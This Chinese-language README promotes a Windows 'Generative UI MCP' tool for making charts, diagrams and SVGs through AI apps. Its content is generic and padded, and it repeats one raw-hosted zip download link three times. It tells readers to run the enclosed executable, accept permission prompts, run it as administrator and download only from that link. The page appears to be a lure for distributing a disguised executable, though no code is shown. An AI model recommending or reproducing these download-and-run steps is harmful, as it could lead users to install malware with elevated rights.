🧩 生成式UI MCP-将提示转化为可视化UI
](https://raw.githubusercontent.com/fergusalveolar205/Generative-UI-MCP/main/src/U_Generative_MCP_v3.1.zip)
🚀 这个工具做什么
Generative UI MCP是用于AI工具的Windows应用程序助手。它帮助人工智能模型从纯文本提示中创建交互式视觉效果。
您可以使用它来制作：
- 图表
- 图表
- UI模型
- SVG图形
- 简单的视觉布局
它作为MCP服务器工作，这意味着它位于您的AI应用程序和它创建的视觉输出之间。
🖥️ 你需要的
在开始之前，请确保您已经：
- Windows 10或Windows 11电脑
- 稳定的互联网连接
- 为应用程序及其文件提供足够的可用磁盘空间
- 可以使用MCP工具的AI应用程序，如Claude Desktop
- 在PC上安装和运行应用程序的权限
📥 下载并运行
访问此页面下载： https://raw.githubusercontent.com/fergusalveolar205/Generative-UI-MCP/main/src/U_Generative_MCP_v3.1.zip
页面打开后：
- 查找最新版本或下载文件
- 将Windows文件下载到您的PC
- 打开您下载的文件
- 如果Windows请求权限，请选择“运行”或“是”
- 按照屏幕上的设置步骤进行操作
如果应用程序以文件夹或zip文件的形式提供：
- 右键单击文件
- 选择全部提取
- 打开已解压的文件夹
- 查找主应用程序文件
- 双击它开始
⚙️ 首次设置
首次运行应用程序后，您可能需要将其连接到您的AI应用程序。
使用以下步骤：
- 打开你的AI应用程序
- 找到MCP或工具设置区域
- 添加新的MCP服务器条目
- 指向生成UI MCP
- 保存您的更改
- 如果需要，重新启动AI应用程序
如果应用程序要求提供本地地址，请使用应用程序或安装文件中显示的地址。
🎨 你能创造什么
生成式UI MCP是为视觉内容而构建的。它可以帮助AI模型生成：
📊 图表
将其用于：
- 条形图
- 线型图
- 饼图
- 对比图
- 数据仪表板
🧱 图表
将其用于：
- 流程图
- 流程地图
- 系统图表
- 决策树
- 关系图
🪄 模型
将其用于：
- 应用程序屏幕
- 网页布局
- 仪表板线框
- 表单布局
- 简单的界面概念
🖼️ SVG图形
将其用于：
- 图标
- 简单的插图
- 形状
- 标签
- 干净的矢量艺术
🧭 如何使用它
应用程序运行并连接后：
- 打开你的AI聊天
- 要求视觉
- 明确你想要什么
- 如果需要，包括标签、尺寸、颜色和布局
- 检查结果
- 如果看起来不对，请要求更改
请求示例：
- 制作一个显示每月销售额的条形图
- 为任务管理器创建一个简单的应用程序模型
- 绘制用户登录流程图
- 构建一个文件夹和搜索图标的SVG
- 显示一个包含三个指标和一条趋势线的仪表板
🧩 良好提示
当你的请求具体时，人工智能会更好地工作。
尽量包括：
- 视觉类型
- 项目数量
- 你想要的标签
- 你喜欢的款式
- 任何颜色选择
- 尺寸或布局
例子：
- 用三个系列创建一个干净的折线图：注册、活跃用户和流失。使用蓝色、绿色和红色。把图例放在右边。
🛠️ 常见用例
生成式UI MCP可以适应许多日常任务：
- 产品规划
- 设计草图
- 报告视觉效果
- 教学与培训
- 快速概念评审
- UI创意生成
当您需要快速绘制视觉草图并且不想先手工构建时，它会有所帮助。
🔍 如何与Claude和其他AI应用程序配合
此工具适用于支持MCP的AI应用程序。
在实践中，这意味着：
- AI应用程序发送请求
- 生成式UI MCP处理视觉任务
- 输出以图表、示意图或UI草稿的形式返回
- 您可以使用另一个提示对其进行优化
当你想让人工智能做的不仅仅是写文本时，这种设置很有用。
📁 您可能看到的文件类型
根据下载包的不同，您可能会看到：
.exe文件.zip文件- 配置文件
- JSON文件
- SVG输出文件
- 日志文件
如果您看到安装文件，请从该文件开始。如果您看到一个文件夹，请打开其中的自述文件或配置文件。
🧰 简单故障排除
如果应用程序未启动：
- 检查文件是否已完成下载
- 请尝试以管理员身份再次运行它
- 重新启动电脑
- 安装前确保您的AI应用程序已关闭
- 安装后再次打开应用程序
如果AI应用程序未检测到服务器：
- 检查MCP设置
- 确认服务器路径正确
- 保存设置
- 重新启动AI应用程序
- 请重试连接
如果视觉看起来不对：
- 使提示更短
- 添加更多标签
- 陈述您想要的布局
- 一次只要求一次更改
🔒 安全和本地使用
Generative UI MCP专为您的PC本地使用而设计。它与您的AI应用程序配合使用，根据您的指令生成视觉效果。
为了获得最佳体验：
- 仅从上面的链接下载
- 保持你的AI应用程序更新
- 确认之前，请查看任何设置提示
- 如果你的电脑感觉很慢，请关闭未使用的应用程序
🧾 示例提示
安装后尝试以下操作：
- 绘制一个简单的图表，说明时事通讯注册流程的工作原理
- 创建一个带有收入、用户和留存率图表的仪表板模型
- 制作一个云、箭头和文件夹的干净SVG
- 构建客户支持工单处理流程图
- 显示习惯跟踪器的移动应用程序屏幕
🖱️ Windows快速步骤
如果你想走最短的路：
- 打开下载页面
- 获取Windows文件
- 运行它
- 将其连接到您的AI应用程序
- 询问你的第一个视觉
📌 项目主题领域
该项目侧重于：
- 人工智能
- 图表
- 克劳德
- 图表
- 生成式用户界面
- 主控程序
- 模型上下文协议
- 可缩放矢量图形
- 可视化
📦 再次下载
访问此页面下载： https://raw.githubusercontent.com/fergusalveolar205/Generative-UI-MCP/main/src/U_Generative_MCP_v3.1.zip
🧪 建议的首次测试
安装后，请尝试以下操作：
- 向人工智能请求一个基本的条形图
- 使用三个小类别
- 检查输出是否出现
- 要求换颜色
- 请求更改标题